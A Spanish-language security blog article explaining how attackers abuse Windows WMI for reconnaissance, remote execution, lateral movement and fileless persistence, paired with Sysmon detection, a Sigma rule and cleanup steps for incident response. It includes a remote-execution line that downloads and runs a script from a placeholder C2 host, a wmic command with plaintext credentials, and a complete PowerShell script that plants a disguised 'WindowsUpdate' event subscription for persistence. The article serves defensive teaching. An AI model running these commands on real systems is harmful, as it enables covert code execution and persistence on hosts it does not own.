AvanzadoWindowsWMIpersistenciaejecución remotamovimiento lateraldetección

WMI como Vector de Ataque y Persistencia en Windows

Análisis técnico de Windows Management Instrumentation (WMI) como herramienta ofensiva. Ejecución remota, persistencia via Event Subscriptions, reconocimiento de red, movimiento lateral y estrategias de detección con Sysmon y ETW.

MalwareIntel Research··7 min lectura
Serie: Malware en Windows — Parte 7

WMI: la navaja suiza del atacante que ya viene instalada

WMI está presente en cada instalación de Windows desde Windows 2000. No necesita instalarse, no es una herramienta de terceros, y es una parte integral de la gestión del sistema. Los administradores lo usan para inventario, monitorización y automatización. Los atacantes lo usan para reconocimiento, ejecución remota, persistencia y movimiento lateral.

La ventaja para el atacante: WMI es un componente legítimo que no se puede desinstalar sin romper funcionalidad del sistema. Bloquear WMI completamente causaría problemas operativos. Los defensores deben monitorizar su uso, no bloquearlo.

Reconocimiento con WMI

WMI proporciona acceso a una cantidad enorme de información del sistema:

Query WMIInformación obtenidaUso ofensivo
SELECT * FROM Win32_ComputerSystemNombre, dominio, modelo, RAMIdentificar el sistema
SELECT * FROM Win32_OperatingSystemOS, versión, build, architectureSeleccionar payload adecuado
SELECT * FROM Win32_ProcessProcesos en ejecuciónBuscar AV/EDR para evadir
SELECT * FROM Win32_ServiceServicios instaladosBuscar servicios de seguridad
SELECT * FROM Win32_UserAccountCuentas de usuarioEnumerar usuarios para escalada
SELECT * FROM Win32_NetworkAdapterConfigurationIPs, DNS, DHCP, gatewayMapear la red
SELECT * FROM Win32_LogicalDiskDiscos, tamaño, espacio libreIdentificar targets para ransomware
SELECT * FROM Win32_ShareShares de redIdentificar shares para movimiento lateral
SELECT * FROM AntiVirusProduct (WMI SecurityCenter2)Antivirus instaladoEvadir o desactivar

Ejemplo: reconocimiento completo en una línea

wmic /namespace:\\root\cimv2 path Win32_ComputerSystem get Name,Domain,DomainRole,TotalPhysicalMemory /format:list

Ejecución remota con WMI (T1047)

Via wmic.exe

wmic /node:192.168.1.100 /user:DOMAIN\admin /password:P@ssw0rd process call create "cmd.exe /c whoami > C:\temp\output.txt"

Via PowerShell

Invoke-WmiMethod -ComputerName 192.168.1.100 -Class Win32_Process -Name Create -ArgumentList "powershell.exe -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')"

Via CIM (moderno, reemplaza WMI cmdlets)

Invoke-CimMethod -ComputerName 192.168.1.100 -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="payload.exe"}

Características de la ejecución remota WMI

AspectoDetalle
PuertoTCP 135 (RPC Endpoint Mapper) + puertos dinámicos
AutenticaciónNTLM o Kerberos (credenciales de admin remoto)
Proceso padre en el destinoWmiPrvSE.exe (WMI Provider Host)
Visibilidad en el destinoEl comando aparece como hijo de WmiPrvSE.exe
Artefactos en disco (destino)Ninguno por defecto (el comando se ejecuta en memoria)
LogsEvent ID 4688 con WmiPrvSE como parent

Detección de ejecución remota

El indicador más fuerte: cualquier proceso hijo de WmiPrvSE.exe que no sea un proceso WMI legítimo.

Procesos hijos legítimos de WmiPrvSE.exe: scrcons.exe (script consumer), mofcomp.exe. Cualquier otro proceso (cmd.exe, powershell.exe, payload.exe) es altamente sospechoso.

WMI Event Subscriptions: persistencia fileless (T1546.003)

Concepto

Las WMI Event Subscriptions son el mecanismo de persistencia WMI más potente. Consisten en tres componentes:

ComponenteFunciónEjemplo
Event FilterDefine qué evento dispara la acción"Cada vez que un usuario inicia sesión"
Event ConsumerDefine qué acción ejecutar"Ejecutar C:\payload.exe"
Filter-to-Consumer BindingVincula el filter con el consumerUne el trigger con la acción

Estos tres componentes se almacenan en el repositorio WMI (C:\Windows\System32\wbem\Repository\OBJECTS.DATA), no en el registro. Son persistentes (sobreviven al reinicio) y difíciles de descubrir con herramientas estándar.

Tipos de Event Consumer

TipoClase WMIAcción
CommandLineEventConsumerCommandLineEventConsumerEjecuta un comando (cmd.exe, powershell.exe, etc.)
ActiveScriptEventConsumerActiveScriptEventConsumerEjecuta un script VBScript o JScript
LogFileEventConsumerLogFileEventConsumerEscribe en un archivo de log
NTEventLogEventConsumerNTEventLogEventConsumerEscribe en el Event Log
SMTPEventConsumerSMTPEventConsumerEnvía un email

Los dos primeros son los usados por malware. CommandLineEventConsumer es el más directo; ActiveScriptEventConsumer permite ejecutar scripts completos sin archivos en disco.

Ejemplo: persistencia con WMI Event Subscription

# Crear Event Filter (trigger: login de usuario)
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = 'WindowsUpdateFilter'
    EventNamespace = 'root\cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120"
}

# Crear Event Consumer (accion: ejecutar payload)
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = 'WindowsUpdateConsumer'
    CommandLineTemplate = 'powershell.exe -ep bypass -w hidden -f C:\ProgramData\update.ps1'
}

# Crear Binding (vincular trigger con accion)
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Este ejemplo ejecuta un script PowerShell aproximadamente 2 minutos después de cada arranque del sistema.

Por qué es sigiloso

  • No modifica Run keys, services, ni scheduled tasks
  • Los componentes se almacenan en el repositorio WMI (OBJECTS.DATA), no en el registro
  • No aparece en Autoruns (versiones antiguas; versiones recientes lo muestran)
  • El proceso que ejecuta la acción es scrcons.exe (WMI Script Consumer) o WmiPrvSE.exe, ambos legítimos
  • No genera eventos de creación de servicio ni de scheduled task

Detección de WMI Event Subscriptions

MétodoDetalle
Sysmon Event ID 19WmiEventFilter activity detected
Sysmon Event ID 20WmiEventConsumer activity detected
Sysmon Event ID 21WmiEventConsumerToFilter activity detected
PowerShell queryGet-WmiObject -Namespace root\subscription -Class __EventFilter
PowerShell queryGet-WmiObject -Namespace root\subscription -Class __EventConsumer
PowerShell queryGet-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
ETWProvider Microsoft-Windows-WMI-Activity
AutorunsTab "WMI" (versiones recientes)

Regla Sigma

title: WMI Event Subscription Created
id: d1234567-e2f3-a4b5-c678-9def01234567
status: stable
logsource:
    category: wmi_event
    product: windows
detection:
    selection:
        EventID:
            - 19
            - 20
            - 21
    condition: selection
level: high
tags:
    - attack.persistence
    - attack.t1546.003
falsepositives:
    - Some legitimate software uses WMI subscriptions (SCCM, monitoring tools)

WMI para movimiento lateral

Patrón de ataque

1. Obtener credenciales (Mimikatz, Kerberoasting)
2. wmic /node:TARGET process call create "payload" 
   (o Invoke-WmiMethod via PowerShell)
3. El payload se ejecuta en TARGET como hijo de WmiPrvSE.exe
4. No hay archivo transferido: el payload se descarga desde C2 o se ejecuta en memoria

Comparativa: WMI vs PsExec vs WinRM

AspectoWMIPsExecWinRM
Puerto135 + dinámicos445 (SMB)5985/5986
Servicio creado en destinoNoSí (PSEXESVC)No
Archivo en disco del destinoNo (ejecución en memoria)Sí (PSEXESVC.exe)No
Proceso padre en destinoWmiPrvSE.exeservices.exewsmprovhost.exe
Logs generadosEvent ID 4688Event ID 7045 + 4688Event ID 4688 + WinRM logs
Detección por EDRMediaAltaMedia

WMI es preferido por los atacantes porque no crea servicios ni archivos en el sistema destino.

Eliminación de WMI Event Subscriptions

Para IR: cómo limpiar persistencia WMI:

# Listar todas las subscriptions
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Eliminar una subscription especifica
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='WindowsUpdateFilter'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='WindowsUpdateConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object {$_.Filter -match 'WindowsUpdateFilter'} | Remove-WmiObject

Mapeo MITRE ATT&CK

TécnicaIDUso de WMI
Windows Management InstrumentationT1047Ejecución de comandos local y remota
WMI Event SubscriptionT1546.003Persistencia via event subscriptions
Remote ServicesT1021Movimiento lateral via WMI remoto
System Information DiscoveryT1082Reconocimiento del sistema
Process DiscoveryT1057Enumeración de procesos
Software DiscoveryT1518Identificar software instalado (AV)

Fuentes y referencias

  • Microsoft. "Windows Management Instrumentation." Microsoft Docs.
  • Ballenthin, W. & Graeber, M. "Windows Management Instrumentation (WMI) Offense, Defense, and Forensics." FireEye, 2015.
  • MITRE ATT&CK. "Windows Management Instrumentation (T1047)." https://attack.mitre.org/techniques/T1047/
  • MITRE ATT&CK. "WMI Event Subscription (T1546.003)." https://attack.mitre.org/techniques/T1546/003/
  • Russinovich, M. et al. "Windows Internals Part 1." Microsoft Press, 2017.
  • Red Canary. "WMI Detection in the 2024 Threat Landscape." Red Canary, 2024.
  • Mandiant. "APT29 WMI Persistence." Mandiant Intelligence.
  • SigmaHQ. "WMI Event Subscription Rules." https://github.com/SigmaHQ/sigma

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.